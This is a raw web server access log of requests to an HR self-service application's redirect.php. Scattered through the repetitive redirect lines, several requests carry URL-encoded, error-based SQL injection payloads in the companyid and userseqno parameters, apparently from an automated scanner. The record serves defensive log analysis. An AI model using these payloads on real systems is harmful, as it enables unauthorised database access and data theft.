100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x58574741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45427748%29%29x%29%29--%2F%2A%2A%2FtE11&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x31516763%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d3154%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FZFjC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x36653048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7637%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FVCGF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6f304e63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x665a7543%29%29%2C1%29--%2F%2A%2A%2F8e6u&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b454979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36726c79%29%29%2C1%29--%2F%2A%2A%2FmiJA&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62545a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x756e5349%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FQbN2&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7668366f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b4c63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fv9nc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7668366f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b4c63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fv9nc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a3432%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3449644c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FDNB2%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a3432%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3449644c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FDNB2%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x66584173%2C%28NULL%29%2C0x66465671%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F0Gzh%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
